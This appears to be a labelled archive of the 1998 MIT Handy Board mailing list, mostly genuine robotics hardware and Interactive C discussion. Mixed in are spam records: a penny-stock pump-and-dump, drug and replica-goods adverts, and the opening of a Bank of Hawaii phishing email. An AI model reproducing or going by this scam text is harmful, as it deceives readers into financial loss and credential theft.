You can safely remove the upper byte from ADCTL (and ADR1), or you can leave well enough alone and live with the warnings, as I did. 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",0,0 Skye Legon ,handyboard@media.mit.edu,"Tue, 14 Apr 1998 10:26:56 -0400",Big adapters?,"Hello all, I'll just briefly restate my earlier questions for ease of responding: 1. Why are we encouraged not to use big adapters (>1A) for the HB? Is it because of the charging circuit, or does it fry the board? 2. Can I plug a big adapter into the charging board, set it to Zap mode, and just use it to drive my tethered robot instead of batteries? (i.e. remove the batteries entirely) Cheers, Skye. +-----------------------------------------+----------------------------+ | Skye Legon | University of Waterloo | | Systems Design Engineering | __/ __/ __/ __/ | | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | | +1(519)888-9249 | ______/ ___/ \\___/ | | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | +-----------------------------------------+----------------------------+ ",0,0 Chuck McManis ,"""Bruce A. Moore"" ","Tue, 14 Apr 1998 09:21:53 -0700",Re: Servo Routines,"I have noticed in my experiments that the HB servo routines don't interact well with the LCD. In order to get them to work reliably in my Handyboard library I redesigned the way the LCD driver worked. Unfortunately for you that library was built for icc11, not IC so it won't help you. However, if someone else wants to fix this for the general case, here are the steps. 1) In my case the problem arose because the LCD driver does a busy loop waiting for the LCD to be done before it writes a character. Depending on where in the cycle you 'hit' it, you can wait anywhere from 0 to 1mS. 2) The servos get to run when their controlling timer interrupts, however, because the LCD driver has to run in single chip mode, it is required to disable interrupts for its duration. I made things better in my driver by rewriting the LCD driver to be asynchronous. Basically the lcd_write routine queues a character to the LCD and then during system ticks the LCD driver checks the queue, and if it is non-empty, attempts to write one character. The magic is that if the LCD is busy it just returns immediately, assuming it will pick up the character on the next systick. That made the interrupt response time to the servos MUCH more predictable and I could run three with no chatter at all. The down side is that sometimes you will may wait nearly 2ms to write to the LCD however that is still a rate of 480 characters per second so its still more than too fast for humans. --Chuck ",0,0 """Fred G. Martin"" ",Skye Legon ,"Tue, 14 Apr 1998 13:00:09 -0400",Re: Big adapters? ,"In your message you said: > Hello all, I'll just briefly restate my earlier questions for ease of > responding: > > 1. Why are we encouraged not to use big adapters (>1A) for the HB? Is > it because of the charging circuit, or does it fry the board? because if you put it into zap mode, you'll fry your batteries -- unless you've switched to a much higher amperage pack. > > 2. Can I plug a big adapter into the charging board, set it to Zap mode, > and just use it to drive my tethered robot instead of batteries? > (i.e. remove the batteries entirely) no, because you can't send that much current down the RJ11 cable. unless your robot draws very little power even when motors are on; i.e., less than 500 mA or so. fred > > Cheers, Skye. > > +-----------------------------------------+----------------------------+ > | Skye Legon | University of Waterloo | > | Systems Design Engineering | __/ __/ __/ __/ | > | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | > | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | > | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | > | +1(519)888-9249 | ______/ ___/ \\___/ | > | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | > +-----------------------------------------+----------------------------+ > > ",0,0 """Fred G. Martin"" ","""E. Baeck"" ","Tue, 14 Apr 1998 13:03:15 -0400",Re: AS11_IC ,"it's there in the software section: http://el.www.media.mit.edu/projects/handy-board/software/util.html fred In your message you said: > Hi to all ! > > Help, where can I get the AS11_IC for PCs (to produce *.icb files) ? > > Thanks for all response. > > ",0,1 Deirdre Bowling ,"handyboard@media.mit.edu, noreen@media.mit.edu, jared@media.mit.edu, bessie@media.mit.edu, alice@media.mit.edu","Wed, 15 Apr 1998 04:41:29 +0000",USA Smallcap Review,"Res0rt C|ubs |nternational_Inc. Now Listed and Trading on Frankfurt Exchange! Act fast on this one! A Massive PR Campaign is underway for Monday and the rest of the weeks trading, Get In Early the price is going to Make a BIG JUMP!! Company: Res0rt C|ubs |nternational_Inc. Sym: R|T(C|I Currently Trading at: $.45 Its 1 Week_Target is: $1.60 Res0rt C|ubs |ntl has an explosive business model focused on the golfing industry (an industry showing substantial growth). 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This is very inconvinient as we are in physically different locations. Is there a simulator which will compile your C code and then show a realtime ouput of the different motor ports while simultaneously reading the digital and analog input ports and running your code. Is there perhaps a retail package or something in the works? If not, how hard would it be to create one. Thanks in advance for any help. ",0,0 Marian nipyzy ,handyboard@media.mit.edu,"Wed, 15 Apr 1998 10:46:26 +0800",re: xasahuni,"SPUR-M Formula Increase semen production five times Blast 5x your usual load and have powerful more satisfying release. Complete satisfaction totally guaranteed by the industry leader - it is a money-back guarantee that has never been used by any of our millions of customers! This is the secret formula used by leading adult-film stars for their huge effects! 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If someone know how, please send us the schemes and (if possible) the C code to have them communicate. :) Thanks a lot in advance. :) OM99 & RC99 Hope the force will be with you !!!!! ",0,1 German Gentile ,"Ecole Louis de Broglie - Promotion 1999 , handyboard@media.mit.edu","Wed, 15 Apr 1998 08:37:01 -0300",RE: Problems connecting 2 Handy Boards,"-----Original Message----- De: Ecole Louis de Broglie - Promotion 1999 Para: handyboard@media.mit.edu Fecha: Miércoles 15 de Abril de 1998 06:27 Asunto: Problems connecting 2 Handy Boards >Hello everybody, >We tried to link two Handy Board, via the RJ11 computer connectors, in order to make them communicate with the code we found at >http://www.ai.mit.edu/people/rsargent/ic/serialio.html . >But, when we plugged the cable, the Handy Boards began to smoke next to these connectors. Yeah, because if you see the cable, you are swapping the VCC and GND between the boards, you know , one board is right , but the other is getting the 12V to GND and ""viceversa"". >Does anybody know how we could link our two Handy Boards ? You are not taking the best way. the better way is connect using the SPI (The boards are near or far?) I haven't code for ths SPI comuncattion, but you can see th pink book (available at mototrola site for free), and i'm sure you don't have problem. >If someone know how, please send us the schemes and (if possible) the C code to have them communicate. :) >Thanks a lot in advance. :) >OM99 & RC99 >Hope the force will be with you !!!!!",0,1 German Gentile ,Handyboard ,"Wed, 15 Apr 1998 08:41:53 -0300",How work the downloader?,"I'm still problems with two boards. I'm still can download code , but never ""boot"". That code work in all others board.I can't make run off course, IC. My answer is : The downloader check every byte it download to the board from the memory??? Or check from the serial register? I can't understand how the downloader say ""the code is downloaded"" and the that code is not here. Anyway, pls, if any have a idea or something I can see.... Thanks ",0,0 """Fred G. Martin"" ",Ecole Louis de Broglie - Promotion 1999 ,"Wed, 15 Apr 1998 08:27:27 -0400",Re: Problems connecting 2 Handy Boards ,"The code found at http://www.ai.mit.edu/people/rsargent/ic/serialio.html was intended for connecting a Handy Board to the host PC. It is possible to connect two Handy Boards, but you must use a NETWORK style RJ11 cable, rather than the usual TELEPHONE style RJ11. See the FAQ, under entry ""The R11 on my Interface/Charger board is smoking hot and is turning black! What is wrong?"" for more info on RJ11 cables. fred In your message you said: > > Hello everybody, > > We tried to link two Handy Board, via the RJ11 computer connectors, in order to make them communicate with the code we found at http://www.ai.mit.edu/people /rsargent/ic/serialio.html . > But, when we plugged the cable, the Handy Boards began to smoke next to these connectors. > Does anybody know how we could link our two Handy Boards ? > If someone know how, please send us the schemes and (if possible) the C code to have them communicate. :) > > Thanks a lot in advance. :) > OM99 & RC99 > > Hope the force will be with you !!!!! > > ",0,1 Wong Sy Ming ,handyboard@media.mit.edu,"Wed, 15 Apr 1998 23:04:01 +0800",64K RAM?,"Hello, I wonder if anyone knows if I can expand the Handyboard's memory to the maximum of 64KB simply be wiring in a 128kb SRAM (A16 unused so it becomes 64kb) with D0-D7 to the data bus as usual and A0-A14 to the existing RAM socket and A15 from the expansion header directly to the RAM's A15? Would IC need any modification or anything? Thanks! ",0,0 Frey Winchell ,handyboard@media.mit.edu,"Wed, 15 Apr 1998 04:49:47 -0700",Re: your VALntUM,"Hi P V A X C V L r I m a I A e o A b n A L v z G i a L I i a R e x I U t c A n S M ra http://www.inteerto.com And ever so his foes shall fall. The sword is sharp, the spear is long, The arrow swift, the Gate is strong; The heart is bold that looks on gold; The dwarves no more shall suffer wrong. The dwarves of yore made mighty spells, ",1,1 """Fred G. Martin"" ",smwong@post1.com,"Wed, 15 Apr 1998 13:36:35 -0400",Re: 64K RAM? ,"This is a common question, so I went ahead and put an answer in the FAQ. Take a look at: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#moremem Here's what it now says: ------------------------------------------------------------------------ IS IT POSSIBLE TO EXPAND THE HANDY BOARD'S MEMORY TO 64K? Actually, this is hard to do. Here's why: 1.There is a compromise in the design that traded off a wasteful use of the lower 32K of memory for fewer chips used in creating the motor output, digital input, and expansion bus circuits. Basically, 16K of the lower 32K is used to map four input latches and four output latches to the microprocessor (see more info in the memory map answer). What this means is that in order to recapture the lower 32K, the addressing circuit that drives the 'HC138 chip (which then drives these latches) would need to be modified. Presently, the 'HC138 is wired to the 68HC11, using the A15, A14, A13, and A12 signals. To recapture the address space, many more address signals would need to be combined to force the HC138 to enable itself only when a narrow band of addresses were accessed. Then, an additional RAM could be mapped to the lower 32K bank not used by this remapped 'HC138 circuit. 2.Interactive C would need to be recompiled. Interactive C was designed with certain assumptions about the architecture of the target system; one of those included a 32K RAM. Various modifications to Interactive C (largely, the redefining of compile-time constants) would be necessary for it to use a different memory architecture. This said, it is relatively straightforward to build a serially-accessible external memory for data storage. For example, see Jim Fong's SPI-based EEPROM application note. ------------------------------------------------------------------------ In your message you said: > Hello, I wonder if anyone knows if I can expand the Handyboard's memory > to the maximum of 64KB simply be wiring in a 128kb SRAM (A16 unused so > it becomes 64kb) with D0-D7 to the data bus as usual and A0-A14 to the > existing RAM socket and A15 from the expansion header directly to the > RAM's A15? Would IC need any modification or anything? Thanks! > > ",0,1 hussain Frosh ,handyboard@media.mit.edu,"Wed, 15 Apr 1998 14:16:16 -0400",Handyboard simulator,"Hello, I was wondering whether anyone knew of a Handyboard simulator. I am working on a group project where each person develops code in C using IC for the Handyboard. The problem is that we have only one handyboard and thus only one person is able to compile and test their code at a time. This is very inconvinient as we are in physically different locations. Is there a simulator which will compile your C code and then show a realtime ouput of the different motor ports while simultaneously reading the digital and analog input ports and running your code. Is there perhaps a retail package or something in the works? If not, how hard would it be to create one. Thanks in advance for any help. ",0,0 Liboria Kwiatkowski ,handyboard@media.mit.edu,"Wed, 15 Apr 1998 07:25:28 -0700",Re: good CtALlyS,"Hi, V a I l A p G u R k A r X i A m N k A a X g V p A v L y I o U p M y C v I j A w L s I l S o http://www.istolentie.com quattrocent perfor casualt inciden saron your dumb Congress or your corkscrew administration, and you send planes for them all over the place. Im not joking, Holland! I dont send those planes, replied the director firmly. Others do. The ones I send involve too many questions and too much curiosity on foreign soil and thats all Ill say about it. Her safety is more important than her comfort. ",1,1 Patrick Cutts ,handyboard@media.mit.edu,"Wed, 15 Apr 1998 12:20:45 -0700",mem command &...,"1. The freeware version of IC had a command ('mem' if me recollection is correct) that returned the amount of free memory in the HB, but that command doesn't seem to be available in the most recent commercial version. is there some other command that I can use to perform this function? 2. Is there a way I can re-synchronize the handyboard with IC without exiting and restarting IC? (does this happen automatically when I hold down the 'start' button when I turn on the HB?) Thanks, -patrick",0,0 spencer@lowell.edu,oleroemer@lowell.edu,"Wed, 15 Apr 1998 08:32:17 -0700",Io Volcano News," The 1998 Io observing season has begun, with observations of Io in Jupiter eclipse (and during Jupiter occultation ingress) on April 7th and 9th UT, by John Stansberry with NSFCAM on the IRTF. The brightness of the volcanic thermal emission from the Jupiter-facing hemisphere, which includes Loki, appeared to be at the low end of the normal range, so no unusual activity was in progress. The next NSFCAM/IRTF observation, with luck, will be on April 25th UT. Bob Howell at the Wyoming Infrared Observatory has also been attempting Io observations, but has so far been foiled by poor weather: he will try again on April 16th. ----------------------------------------------------------------------- INTERNATIONAL JUPITER WATCH SATELLITES DISCIPLINE Leader: John Spencer, Lowell Observatory, e-mail spencer@lowell.edu Phone (520) 774-3358 Ext 229; Fax (520) 774-6296 Web site: http://www.lowell.edu/users/ijw/ Anonymous ftp site: ftp.lowell.edu, directory pub/ijw (or via Web site) ----------------------------------------------------------------------- ",0,1 Dorothea Beringer ,chaims@DB.Stanford.EDU,"Wed, 15 Apr 1998 16:55:42 -0700",Minutes weekly meeting 4/15/98,"Minutes weekly meeting 4/15/98 ============================== Baby-Demo: ---------- Together we went through the whole process of setting up a CHAIMS-server and CHAIMS-client using CORBA: writing IDL-files, compiling IDL-files, compiling and linking server, registering server etc... IDL-file: Though there is one IDL-file for each server, these IDL-files only differ in the name of the server, everything else is the same. So far, the IDL-file on which the compiler is based is another/older one than the one used for the wrappers. Next steps: Hao will finalize the IDL-file as it is used by the wrappers and send it out, so Woody can adapt the compiler output to it. Java-RMI: --------- The exact type for the blobs is not yet clear (Object?). But we decided to make the interface similar to the CORBA-IDL, i.e. having several parameters and explicit lists of name-value pairs, instead of just one string. Differences in ORB's -------------------- Obviously Orbix and Omnibroker do not handle the bind in the same way. Kazuki will send the appropriate information to Woody, so the compiler can take care of that. We probably have to insert more information into the repository. Excerpts from the work-reports: ------------------------------- Dorothea: Writing proposal. Writing a Java-C++ interface that converts an ASN.1-blob into an Java-Gentype. This interface will be needed for the RMI-Wrapper, but it could also be used by the IO-megamodule. Catherine: Sent out specification of interface of RMI-wrappers. Hao: Apart from the delivery of ASN.1 utilities, I worked with Pankaj to integrate ASN.1 into wrapper. The first try failed, because IDL file does not seem to like anything that is not CORBA native. The IDL preprocessor made a huge fuss about the the header file of the standard libraires such as stdio.h. We tried to get aorund it, but finally we decided to use CORBA:Any in the IDL and map it to the generic type in the implementation....The initial goal of wrapping a simple module will slip. I intend to skip the simple module and wrap room-reservation module directly. Kazuki: I updated OmniBroker from 2.0.2 to 2.0.3. ioModule is now CORBA server and almost CHAIMS complient. I got new material, and it shows how to access the fields directly in the native code. -- Dorothea Beringer Stanford University beringer@db.stanford.edu http://www-db.stanford.edu/people/beringer.html -- ",0,1 Jonathan Swaby ,"handyboard@media.mit.edu, Robot Board ","Wed, 15 Apr 1998 16:53:48 -0400","Miniboard, ICC11, and printf","I have a miniboard and I am using the free version of ICC to program it. I did replace the standard crt.s with the one for the miniboard, but I am unable to get printf to work. Actually, I am unable to download programs that use printf. The sample dhry.c will not download to the miniboard. I did create a simple program to print ""hello"" and that did download, but nothing showed up on the terminal screen. I also tried the printdec command. I did get this to print a blank space, but it was not followed by crlf, and the data was not printed. I am using win95. I used hyperterm for the terminal. It works fine with Hexmon, so I figured the icc printf routines would work also. Does anyone have any suggestions? Thanks ___________________________________________________________ ______________________________________________________ Jonathan Swaby 305 Sparks Bldg Computer Support Specialist 814-865-0693 Penn State University mailto:jfs10@psu.edu Department of Speech Communication http://cac.psu.edu/~jfs10 Department of Philosophy ______________________________________________________ ______ ",0,1 Bank of Hawaii Customer Service Center ,handyboard@media.mit.edu,"Wed, 15 Apr 1998 11:58:35 -0700",Bank of Hawaii Visa� Card limited,"Bank of Hawaii is constantly working to ensure security by regularly screening the accounts in our system. We recently reviewed your account, and we need more information to help us provide you with secure service. Until we can collect this information , your access to sensitive account features will be limited. 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(The Buffalo system allows downloading of S19 machine code routines, via a terminal program, and allows various machine code debugging routines) Apparently the answer was NO, but what also arised was that others were interested in such a system as well. Well, I have developed a limited Buffallo system for the Handy Board, I am using it in my Microprocessors class now. If anyone is interested, they can download it from my web page at: http://132.234.46.5/programs/index.shtml The Buffalo routine, and a word document describing the routine is included. Also, my Editor, Assembler, and Download program shell can also be obtained from the web site. Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@eas.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,1 Charles Hacker EAS ,handyboard@media.mit.edu,"Thu, 16 Apr 1998 14:23:00 +1000",HandyBoard Buffalo V1.0 - Update,"Hello again, Fred G. Martin had informed me that I forgot the assembly code for the Buffalo monitor. It is now on the page, http://132.234.46.5/programs/index.shtml as BUF_HB.TXT Charles Hacker School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@eas.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,1 Ecole Louis de Broglie - Promotion 1999 ,"""handyboard@media.mit.edu"" ","Thu, 16 Apr 1998 10:25:02 +0200",Using Port D of the Handy Board,"Hello everybody, A few month ago, someone told us that we can use port D as an ouput. But, we've just read on the Handy Board FAQ that it was not possible. So, where is the truth ??? Help, help, help !!!!!!! We need 8 ouputs (and also 8 inputs) to do our project, any good idea will be welcome. thanks in advance. :) RC99 & OM99 Hope the force will be with you !!!!! ",0,0 """Fred G. Martin"" ",Ecole Louis de Broglie - Promotion 1999 ,"Thu, 16 Apr 1998 08:30:29 -0400",Re: Using Port D of the Handy Board ,"In your message you said: > Hello everybody, > A few month ago, someone told us that we can use port D as an ouput. But, we' ve just read on the Handy Board FAQ that it was not possible. So, where is the truth ??? where in the FAQ does it say that it's NOT possible? If you look at the link http://el.www.media.mit.edu/projects/handy-board/faq/index.html#digout it explains how to use Port D as outputs. > Help, help, help !!!!!!! > We need 8 ouputs (and also 8 inputs) to do our project, any good idea will be welcome. now, to get 8 outputs, you might have to add an expansion latch, because you only get 4 from Port D. There is a TO3 on the expansion header that you can use, and PA7 on the dig input bank can be made to be an output. that gives you 6. if you absolutely need the 2 more, see the instructions prepared by Bill Coghill at http://www.ednet.co.uk/~bill_altaudio/DigitalIO.html Fred > > > thanks in advance. :) > RC99 & OM99 > > Hope the force will be with you !!!!! > > ",0,1 Ecole Louis de Broglie - Promotion 1999 ,"""'bill@altaudio.ednet.co.uk'"" ","Thu, 16 Apr 1998 15:40:48 +0200",Writing in port D of the Handy Board,"Hello, We've just read the Web page ""Additional Digital Inputs & Outputs for the Handy or Finger Board"" at http://www.ednet.co.uk/~bill_altaudio/DigitalIO.html#Code but we don't know how to write in the port D (ie D0..7 ) in order to have more digital outputs. Please could you tell us how to do ??? Thanks in advance. :) RC99 & OM99 Hope the force will be with you !!!!! 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Is there anyway to jumper around this part. I understand that it is in the circuit to prevent the cpu from losing it's mind on low voltage. I would be willing to put up with reloading pcode after every power down, until I can get another ds1233. BTW does anyone know of a quick supplier who takes small orders of these guys. Thanks in advance. PS I can get the necessary 5 volts from one of the headers, but still can't get the board to go into download mode??? Pat Benoy ",0,0 Merle Mcconnell ,"handyboard@media.mit.edu, estella@media.mit.edu, sylvia@media.mit.edu, maude@media.mit.edu, tabitha@media.mit.edu, ines@media.mit.edu, amie@media.mit.edu, margret@media.mit.edu, miguel@media.mit.edu","Thu, 16 Apr 1998 23:57:36 -0200",Rolex Watches ,"REPLICASONLINE - WE NEVER COMPROMISE ON QUALITY Rolex replica is our speciality We guarantee lowest prices and highest quality We are the Direct manufacturers. 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We solved the problem by adding an additional capacitior to the powersupply. THE REWORK Solder a tantal c (1uF) directly to pin 3(Gnd) and pin 1 (+) of chip U2 (TL851). This will filter the spikes keeping them from droping below 2.5 V. If anyone has a better way of solving this problems please tell me. cu TOM > We continue to progress on our first robot here at Northwestern but have run into a problem with our sonars. We have run out of solutions to try and would appreciate any help from people experienced with the polaroid sonar modules. > > Our sonar is hooked up to our Handy Board following the ""offical"" instructions. The unit itself is mounted on an acrylic stand where it is pressed into place to hold it. We have also loaded the code as it appears on your website: > > http://el.www.media.mit.edu/groups/el/Projects/handy-board/software/sonar.html > > Unfortunately, when we execute the program all that we get on the display are random numbers (usually around 800 and 1125). It makes no difference how far away we are from the wall we are trying to measure. > > Our real probelm seems to be to get the correct echo to trigger the timing loop. As it stands, a count of 800 corresponds to a distance of .22 ft which is closer than the board can measure and much closer than our wall. Have you seen this problem before? Do you have any advice on how to correct it? > > Thanks for your help. If you need more information please e-mail me and I will get it to you asap. > > Jon Church > > ---------------------------------------------------------------------------------- > Jonathan K. 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So, can u guys suggest some good models of optical encoders that fit my DC motor. features of optical encoders i prefer: -- small size (<1.5 inch dia) -- frequency response: 100kHz -- small power supply -- 2-channel quadrature, TTL square wave outputs -- shaft speed >= 10,000rpm <-- is this enough for an micromouse? Thank you for your response on my questions. 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I am looking at the data sheet for a ""SP-16"" > So, can u guys suggest some good models of optical encoders that fit my > DC motor. > features of optical encoders i prefer: > -- small size (<1.5 inch dia) It is 1.78"" in diameter at it's widest point :-( > -- frequency response: 100kHz I am not sure what you mean when you refer to a ""frequency response"" with respect to an optical encoder. > -- small power supply I presume that you require the encoder to draw very low current. This particular offering draws 27 mA max. > -- 2-channel quadrature, TTL square wave outputs Check. > -- shaft speed >= 10,000rpm <-- is this enough for an micromouse? > With the bearing option, US D. specifies that the encoder can maintain continuous duty at 10,000 RPM. -d The Fourth Law of Programming: Anything that CAN go wrong wi /kernel: pid 128 (sendmail), uid 0: exited on signal 11 (core dumped)",0,1 Maggie Walters ,handyboard@media.mit.edu,"Wen, Sat, 18 Apr 1998 21:13:39 +0500","Dear Sir, i am interested in it","We offer INSTANT DOWNLOAD! You will no need to wait 2-3 week for CD delivery - you can download any program and PC games at once you have purchased it! Most of program packages are within 50-150 MBs and even if you have slow modem connection you'll be able to download for an ONE day. Why so cheap? All the software is OEM - Meaning that you do not get the box with it. You receive the software carrying a unique registration code. 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Their > prices are within reach, too. > > Best wishes, > > Dan Wheeler > Manufacturing R&D > The Boeing Company > (316) 526-5245 > ",0,1 Bill James ,handyboard_mailinglist ,"Mon, 20 Apr 1998 07:16:53 -0700",encoders,"I haven't had a chance to experiment with this yet, but it look like a something that might work. Have you check out any mice, some of them have two encoders on them. they are small, low power and cheap. I plan to experiment with them this summer, and if anyone has used them, please tell us how it worked and what you did. Bill James | work: 972.480.2306 Product Test Specialist | Pager: 972.597.6201 w-james2@ti.com Precision Analog & Interface Department Polymath in Training | Have Spacesuit will Travel ",0,0 Frangois ,'Handyboard Mailing List' ,"Mon, 20 Apr 1998 18:34:06 +0200",Help encoders with quadrature outputs,"Hello, I am curently trying to use encoders with quadratures outputs If someone has already developped a program for such encoders I would be very interested in. A 8 bits counters can also be connected to this encoders. If someone has already developped a program which could read 8 bits counters I am also interested in. In fact I am interested in anything that could help me to make these encoders work. Thanks in advance. François ",0,0 Patrick Cutts ,handyboard@media.mit.edu,"Mon, 20 Apr 1998 10:34:35 -0700",loading files with IC,"Howdy from the world of program failure... please consider this scenario: 1. let's say I write a series of functions, put them in a file, and download the file to my HB. Now I write a program that uses the previously downloaded functions, and download it to the HB. 2. now I decide that 3:00am is too late to continue programming, so I exit IC, turn off my pc, turn off my HB. 3. Three hours later, I get a burning desire to do some more work on the program, so I fire up the pc, turn on the HB, and run IC. I don't need to make any changes to the functions (loaded in step 1.) and they are still in the HB's memory, so I do a little work on the program which references them, and proceed to download it to the HB. Question 1: did I just overwrite the functions I had loaded in step 1 with the program in step 3? (t/f) Question 2: if question 1 is true, why didn't I get an error message saying that the function(s) aren't defined? -patrick",0,0 Catherine Lehman ,handyboard@media.mit.edu,"Mon, 20 Apr 1998 17:16:17 +0200",Recent Order,"-S'ensationall revoolution in m'edicine! -E'n'l'a'r'g'e your p''enis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be impressed with results! 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Thanks for your help. JCJ James C. Jones Liberty Middle School Phone: 407/249-6440 x425 Fax: 407/249-6449 email: jonesj5@ocps.k12.fl.us ",0,0 krasing@iastate.edu,handyboard@media.mit.edu,"Mon, 20 Apr 1998 14:26:14 -0500",Class functions from C++ to C,"I'm using A-Life techniques to control a simple robot. The program I'm using was initially written by my A-Life professor in C++, and as I use IC, I need to bring it over to C. I'm having difficulties as it calls a class (bots) from a C++ library file (symbot.h). I need to resolve this problem, and I'd really appreciate any help -- I have the virtual robot finished, but a main part of my project was to bring the virtual robot out into the real world. IC compiles about half of my program -- the class functions aren't used until the last half of the program. If IC can't do that, what software/hardware that is easy to get ahold of can? Thanks for any and all help! :) -Kate ",0,0 Douglas Blank ,handyboard@media.mit.edu,"Mon, 20 Apr 1998 22:11:14 -0500",Serial Communication: HB -> Win95 ,"I am using the serial_putchar() and serial_getchar() communication routines on the HandyBoard, and everything is working fine from the PC to the HB. However, I am having trouble getting the HB to send data back to the PC. Here is main() on the HB: void main(void) { char c = '!'; int cnt = 1; disable_pcode_serial(); while (cnt <= 10) { c = serial_getchar(); printf(""[%d]=%c "", cnt, c, c); serial_putchar('!'); cnt++; } reenable_pcode_serial(); printf("" HB Mode!""); } The serial line is set correctly, but I haven't been able to get anything back to the host. I have included the code that I am compiling under VC++4.0 and Win95 below. If you have any suggestions of what I can do (other than trying to get Linux running on my laptop), I'd love to hear them. Thanks! -Doug Blank /* Visual C++ Host Code to talk to HandyBoard */ /* call like: serial.exe 1 */ /* to send the character ""1"" to the HB */ #include #include void myputc(char c, FILE *p) { int result = fputc(c, p); printf(""Put '%c' to HB; result was = %d\\n"", c, result); } void main(int argc, char *argv[]) { FILE *port; char c = -1; int x; port = fopen(""COM1:"", ""wr""); if (port == NULL) { printf(""Error establishing serial connection.\\n""); exit(1); } else printf(""Serial connection established...\\n""); myputc(argv[1][0], port); // works, HB receives it. /* This doesn't work! while (c < 0) { c = fgetc(port); } printf(""Got %c (%d) as a return value\\n"", c, c); */ fclose(port); } ===================================================================== dblank@comp.uark.edu Douglas Blank, University of Arkansas Assistant Professor Computer Science ==================== http://www.uark.edu/~dblank ====================",0,1 Thomas Hauri ,krasing@iastate.edu,"Tue, 21 Apr 1998 08:14:41 +0200",Re: Class functions from C++ to C,"Hi Kate you could use some precompiler to convert C++ to C. I think that the GNU C++ compilers have such a precompiler. (At least the older ones do.) Tom krasing@iastate.edu schrieb: > I'm using A-Life techniques to control a simple robot. The program I'm > using was initially written by my A-Life professor in C++, and as I use > IC, I need to bring it over to C. I'm having difficulties as it calls a > class (bots) from a C++ library file (symbot.h). I need to resolve this > problem, and I'd really appreciate any help -- I have the virtual robot > finished, but a main part of my project was to bring the virtual robot > out into the real world. IC compiles about half of my program -- the > class functions aren't used until the last half of the program. If IC > can't do that, what software/hardware that is easy to get ahold of can? > Thanks for any and all help! :) > > -Kate ",0,0 Christopher Moylan ,handyboard@media.mit.edu,"Tue, 21 Apr 1998 03:45:28 -0400",Help!!! Polaroid problem!,"I am trying to use one of the Polaroid 6500 kits from Wirz with my senior design project. It doesn't exactly use a handyboard, but our microcontroller is virtually identical at the lowest level. The problem is when we attach the device to the scope, we NEVER see any significant voltage on the ECHO pin. With the INIT pulsing 5V every second, we still get nothing but residual noise (kind of a lot, but at no more than .5V) and the remnants of the sixteen pulses from the ping. I hear a clicking sound too, which was unexpected and is quite annoying. Is this normal? How come I never have any voltage on ECHO? I am not using the blanking inhibit at all, and if I look at the noise at about a 200mv setting on the scope, I can see a shape in the noise that changes with an objects proximity to the transducer, but it is not anything like a logic level. I have tried a million different ways of hooking this thing up and have tried two different driver boards. This is getting ridiculous. How does one go about testing the device? I am powering it with a HP E3631A Triple output DC power supply with the current limiter maxed at 5.0 Amps, which should be enough to cover the 2A pinging surge. Please help me figure out what is going on or a better way to test it. We connected it to the microcontroller as it connects to the handyboard, but that of course didn't work either. If you can respond via email, that would be best because I don't get this list regularly. Please respond soon so I don't fail senior design!! ;-) Take it easy, Chris ",0,0 Fred ,handyboard@media.mit.edu,"Tue, 21 Apr 1998 15:22:34 +0200",is IC compatible with the MC68HC11F1,"hi from France, I already have a handy-board running with a 11A1 chip and I plan to adapt the circuit for a 11F1 chip, with the same memory map. Does someone have any experience about running IC with this chip? Will it work with the pcode_hb.s19 file and standard downloaders (DL or DLM)? Thanks for any help ;-)) ........................................................... Fred, Cannes, France EMail: fred.maillet@wanadoo.fr (PGP5.0 key ID: 0x92432351) ",0,0 Chris Moylan ,handyboard@media.mit.edu,"Tue, 21 Apr 1998 07:20:05 -0700",Help!! Polaroid problem!!!,"I am trying to use one of the Polaroid 6500 kits from Wirz with my senior design project. It doesn't exactly use a handyboard, but our microcontroller is virtually identical at the lowest level. The problem is when we attach the device to the scope, we NEVER see any significant voltage on the ECHO pin. With the INIT pulsing 5V every second, we still get nothing but residual noise (kind of a lot, but at no more than .5V)and the remnants of the sixteen pulses from the ping. I hear a clicking sound too, which was unexpected and is quite annoying. Is this normal? How come I never have any voltage on ECHO? I am not using the blanking inhibit at all, and if I look at the noise at about a 200mv setting on the scope, I can see a shape in the noise that changes with an objects proximity to the transducer, but it is not anything like a logic level. I have tried a million different ways of hooking this thing up and have tried two different driver boards. I am going to buy another transducer tommorrow, but this is getting ridiculous. How does one go about testing the device? I am powering it with a HP E3631A Triple output DC power supply with the current limiter maxed at 5.0 Amps, which should be enough to cover the 2A pinging surge. Please help me figure out what is going on or a better way to test it. We connected it to the microcontroller as it connects to the handyboard, but that of course didn't work either. If you can respond via email, that would be best because I don't get this list regularly. Please respond soon so I don't fail senior design!! ;-) Take it easy, Chris _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 Darkman ,"crm0922@bu.edu, handyboard@media.mit.edu","Tue, 21 Apr 1998 11:15:25 -0400",Re: Help!! Polaroid problem!!!,"Are you using a pullup resistor on the ECHO pin? If not that is your problem. The ECHO output is an open collector driver which requires an 4.7 K pull-up resistor between the output and Vcc. The pull-up is necessary for connecting the module to a digital input. I power mine with a 7805 voltage regulator and it seems to work fine but i'm not using it continiously. The clicking sound is normal. Another thing I noticed that if I ground the transducer it malfunctions. I hope that helps , Let me know! -----Original Message----- From: Chris Moylan To: handyboard@media.mit.edu Date: Tuesday, April 21, 1998 10:46 AM Subject: Help!! Polaroid problem!!! >I am trying to use one of the Polaroid 6500 kits from Wirz with my >senior design project. It doesn't exactly use a handyboard, but our >microcontroller is virtually identical at the lowest level. The problem >is when we attach the device to the scope, we NEVER see any significant >voltage on the ECHO pin. With the INIT pulsing 5V every second, we >still get nothing but residual noise (kind of a lot, but at no more >than .5V)and the remnants of the sixteen 